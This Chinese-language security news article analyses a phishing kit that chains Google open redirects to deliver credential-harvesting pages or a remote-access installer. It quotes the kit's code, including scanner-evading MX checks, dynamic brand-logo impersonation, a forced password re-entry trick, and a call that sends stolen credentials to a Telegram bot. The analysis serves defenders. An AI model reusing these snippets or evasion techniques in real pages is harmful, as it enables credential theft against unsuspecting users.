資訊安全新聞

Google也能成為攻擊者的Trust Proxy嗎？
揭開雲端信任鏈中的Phishing攻擊

摘要

報告針對一項已有文件記錄的網路釣魚行動進行獨立技術分析。該行動在傳送動態產生的認證竊取頁面(credential harvester)或遠端監控工具安裝程式(remote-monitoring-tool installer)之前，串接了屬於單一大型雲端服務供應商的六個獨立開放式重新導向(open-redirect)與追蹤端點(tracking endpoint)。分析聚焦於此 kit 的三項工程特性：(1) 透過 Redirect-Chain Architecture 將信譽風險(reputation risk)轉嫁至受信任基礎架構的建構方式，(2) 用於將自動化掃描器與受害者分離的用戶端剖析(client-side profiling)邏輯，以及 (3) 僅利用單一 <電子郵件地址在執行期間建立符合品牌外觀的精準的竊取頁面> 。

Google也能成為攻擊者的Trust Proxy嗎？揭開雲端信任鏈中的Phishing攻擊 | 資訊安全新聞

1. 簡介

電子郵件安全閘道(Email-security gateways)與自動化 URL 引爆平台(automated URL-detonation platforms)通常會以網域信譽建立其信任模型：如果連結經由知名雲端或廣告網域解析的連結，通常會比直接指向未知主機的連結被視為較低風險。這裡分析的行動，正是圍繞著「這項啟發式判斷可被反轉」的觀察所建構。該套件並非藏匿惡意連結、寄望掃描器漏看，而是讓每位受害者都經過一連串合法的重新導向與追蹤端點 — 包括 video-conferencing product 中的開放式重新導向參數、搜尋引擎、廣告點擊追蹤器、custom-search API、圖片搜尋的 ccTLD mirror、標籤管理除錯端點，以及分析收集端點 — 使每一次跳轉都能獨立滿足閘道的 allow-list logic。報告將重新導向鏈(redirect chain)、用戶端過濾層(client-side filtering layer)與動態頁面建構邏輯(dynamic page-construction logic)視為三個可分離的工程元件，並利用 source material 中的程式碼片段逐一分析。

2. Trust-Proxy Redirect-Chain Architecture

Trust-Proxy Redirect-Chain 並不是將單一技術重複使用六次，而是六個獨立的開放式重新導向基本手法(open-redirect primitive)，每一個都利用合法服務為正常用途提供的不同查詢參數 —會議邀請的對外連結處理(outbound-link handling)、搜尋或廣告的點擊追蹤、標籤管理員的 debug-cookie clearing，以及分析收集器的文件位置記錄(document-location logging)。它們的共同點是，這些參數都沒有綁定已簽章或 allow-listed destination，因此「受信任」網域純粹扮演 forwarding shell。受害者的電子郵件地址並不是以 query parameter 傳遞 — 否則每個 hop 的 server logs 都會留下紀錄 — 而是以 base64 string 放在 URL fragment 中（即 # 之後的部分），瀏覽器永遠不會在 HTTP request 中傳送 fragment。這項單一設計選擇移除了整條鏈上每一份 log 中的的預先鎖定目標訊號(pre-targeting signal)，包括 redirect provider 自身的 logs。

sequenceDiagram participant V as Victim Browser participant M as meet.google.com/linkredirect participant S as google.com/url?q= participant D as adservice.google.com.*/ddm/clk participant H as Attacker Harvester (.vu / workers.dev) Note over V: Fragment carries base64(email), never sent over the wire V->>M: GET /linkredirect?dest=[next hop] M-->>V: 302 redirect (dest= is unrestricted) V->>S: GET /url?q=adservice.google.com.*/... S-->>V: 302 redirect (q= is unrestricted) V->>D: GET /ddm/clk/?gclid=[valid-looking token] D-->>V: 302 redirect to attacker domain V->>H: GET / #base64(email) Note over H: Fragment read client-side by JS, never logged server-side

圖 1 — three-hop chain（Meet → Search → DoubleClick）。
每個 302 response 都來自 mail gateway 很可能會個別加入 allow-list 的 infrastructure。

這一大類濫用 — 將合法的 pc= / pcurl= 風格點擊追蹤參數當作不受限制的轉送器(forwarder) — 已有針對 Google Travel endpoint 的獨立文件記錄，研究人員指出 tracking token 沒有目的地綁定或到期限制，並且可以在長時間內跨不同 phishing waves 重複使用 ^[2] 。研究中的行動同時將相同的架構弱點擴展到六個不同的產品介面，而非單一介面，這也是它能抵抗 static blocklist matching 的原因：封鎖其中一個 redirector 並不會關閉其他五個。

3. Client-Side Profiling 與 Filter Logic

在認證表單顯示之前，竊取頁面會執行一連串簡短的用戶端檢查，其目的在於將真人的預先鎖定目標受害者與自動化掃描器及 researcher submissions 分開。其中最重要的一項查詢，是透過 public DNS-over-HTTPS resolver 取得受害者 mail-domain 的 MX records：

// MX record verified via Google Public DNS API - filters out fake email addresses
async function getMXRecord(domain) {
  const response = await fetch(
    `https://dns.google/resolve?name=${domain}&type=MX`
  );
  // 'no-mx' result → victim filtered out
}

程式碼 1 — MX-record validation logic。

由於沙箱與引爆平台(detonation platforms)經常使用 synthetic 或 non-routable 網域送出 URLs，因此缺少 MX record 的網域是一項可靠且低成本的訊號，可用來判斷 request 並非來自真正的 mailbox。在頁面載入時執行相同檢查 — 在任何 form 顯示之前 — 還能讓操作者直接針對部分 automated requests 抑制竊取頁面，而不只是等認證配對送出(credential pair submit)後才標記結果。這種在繪製攻擊者內容(render attacker content)前預先驗證目標身分的模式，與更廣泛的「身分閘控」(identity-gated)網路釣魚套件類似：當 URL 中沒有預先加密的受害者識別碼時，便將工作階段重新導向回合法的 Google 端點的類似邏輯，已在不相關的 MFA 繞過套件中觀察到，顯示這種過濾做法正成為網路釣魚套件工具鏈的標準元件，而非這個行動獨有的功能。

4. 竊取頁面的執行階段建構

竊取頁面本身在頁面執行之前不包含任何受害者特定內容；整個視覺識別(visual identity)都是由從 URL fragment 解碼出的單一電子郵件地址在用戶端衍生而來。

// Email decoded from base64 in the URL hash fragment
var hashPart = handleBase64Data(window.location.hash.substr(1).split('/')[0]);
// Decoded and placed directly into the email field
$("#email").val(hashPart);

程式碼 2 — Fragment-decoding 與 form pre-fill routine。

// Primary: pull live company logo from Clearbit
var logoUrl = "https://logo.clearbit.com/" + emailParts[1];
 
// Fallback: Google favicon service
logoUrl = "https://www.google.com/s2/favicons?domain=" + emailParts[1];
 
// Applied to both the visible logo and the browser tab favicon
$("#logoimg").attr("src", logoUrl);
$("#favicon").attr("href", logoUrl);

程式碼 3 — 使用雙層 fallback 的 brand-asset resolution。

解碼後電子郵件地址的 domain segment（ emailParts[1] ）會被當作查詢鍵，向 third-party logo API 查詢；如果主要查詢失敗，則平順地降級至 favicon service — 這是一種直接借用合法前端工程的設計模式，但在這裡被用來自動化大規模的品牌冒充(Brand impersonation)，而不是為每個 target 手動製作 lure。由於相同的 domain string 也會驅動一個用來作為 page background 的 screenshot API call，因此整個 attack 的 visual shell — logo、favicon、background image，以及 pre-filled identity field — 都能從單一 string 確定性產生，而 operator 不需要為每個 target 撰寫個別 template。這在架構上不同於 static brand-impersonation kits，後者要求 operator 預先為每個 targeted organization 準備相符的 template。

5. Dual-Track Payload Delivery

通過 profiling layer 的 sessions 並不會全部得到相同結果。觀察到的 infrastructure 會依 lure category 分成兩條路徑：一條是憑證／裝置代碼蒐集路徑，另一條是遠端存取工具安裝路徑。

sequenceDiagram participant V as Victim participant P as Profiling Layer (MX + IP + UA check) participant TA as Track A: Sign-in / Device-Code Page participant TB as Track B: "Identity Verification" Page participant RMM as ScreenConnect Installer participant TG as Telegram Bot API V->>P: Arrive with decoded email P->>P: Evaluate MX record, IP, browser locale alt Document/identity lure context P->>TB: Route to fake verification overlay TB->>RMM: Silently execute installer script RMM-->>TB: Persistent remote session established else Credential/expiry lure context P->>TA: Route to pre-filled sign-in form TA->>TA: First submit → forced "invalid password" TA->>TA: Second submit → accepted TA->>TG: Exfiltrate credential pair + telemetry end

圖 2 — 根據 primary report 所描述的兩條 execution tracks 重建的 post-profiling branch logic。

這種分岔設計是以變現做為考量，而不是技術上的必要條件：認證配對具有高數量且能快速被轉售或重複使用，而互動式遠端存取工作階段可以持續存在於密碼更換之後，並且一旦操作者已進入端點內部就不受多因素認證影響。將文件審閱與身分驗證誘餌導向遠端存取階段，同時將認證到期誘餌導向登入表單階段，讓單一重新導向與規避層能供應兩條獨立的變現管道。Track A 的裝置代碼變體特別會攔截授權流程，而不是靜態 secret；其運作機制，以及相較 password phishing 更難偵測的原因，在另一份針對 device-code interception、用於 hijack 已驗證協作平台工作階段的獨立研究中有更深入的討論，而遠端存取工具階段則與更廣泛的產業模式相似，即濫用合法遠端監控軟體作為持久立足點，而不是部署客製化惡意程式。

6. Exfiltration 與 Anti-Forensic Submission Design

被攔截的憑證會立即透過 bot-API 呼叫傳送到訊息平台，而不是先存放在伺服端再稍後收集，藉此將蒐集者自身的日誌痕跡降到最低：

$.ajax({
  url: `https://api.telegram.org/bot${token}/sendMessage`,
  data: { "chat_id": chatId, "text": message }
});

程式碼 4 — Live exfiltration call。

Submission flow 還包含刻意設計且與內容無關的第一次嘗試失敗：

if (attempts >= 1) {
  // Second attempt: show success, redirect to real company domain
  window.location.replace(`http://www.${domain}`);
} else {
  attempts++;
  // First attempt: show "invalid password" error, clear the field
  msgElement.show();
  passwordField.val('');
}

程式碼 5 — Forced re-entry logic。

因為拒絕動作無論實際輸入內容為何都會觸發，它的作用並非驗證，而是蒐集上的備援機置：第一回合輸入錯誤密碼的受害者會在第二次提供修正後的值，而第一次輸入正確的受害者則實際上會提供相同的值兩次，在受害者被靜默返回合法公司網域之前之前，提高操作者對該配對的信心。使用 chat-bot API 作為外洩管道 — 而不是專用收集伺服器 — 與網路釣魚基礎架構建立在短暫、低維護託管上的更廣泛趨勢一致；類似的可拋棄的託管模型，是使用無伺服器邊緣函式而不是 bot API 建立，在先前針對使用託管於可程式化 edge-worker 利用架構託管認證網路釣魚套件、以規避靜態掃描器指紋辨識的分析中已有記錄。

7. 討論

整體而言，重新導向鏈、MX 閘控過濾層與確定性頁面建構邏輯組成一條流程，其中每個元件都降低不同的偵測面：這條鏈降低網域信譽風險，fragment encoding 降低伺服器端日誌風險，MX 檢查降低暴露於自動化沙箱的風險，而 dual-track branch 則最大化每個成功完成剖析的受害者所能產生的變現程度。這些元件沒有任何一個是完全新穎的 — 開放式重新導向濫用、DNS-based 目標驗證，以及RMM 工具濫用都已有個別文件記錄 ^[2][3] — 但將它們整合成單一且高度自動化的流程，而且不需要逐目標範本，才是這個行動最具辨識度的工程特性。

8. 結論

分析的套件顯示，重新導向鏈信任與動態品牌冒充並不是彼此獨立、只能分開繞過的防禦機制；兩者可以被工程化成單一流程，而驅動資訊只需要一個 base64-encoded 電子郵件地址。因此，有效的緩解措施必須針對流程的結構性特徵 — fragment-based identity carriage、tracking 與除錯端點上的開放式重新導向參數，以及頁面載入時對 third-party logo/screenshot API 呼叫的使用 — 而不是只針對單一終端網域，因為在這種架構中，終端網域從設計上就是可拋棄的。

摘要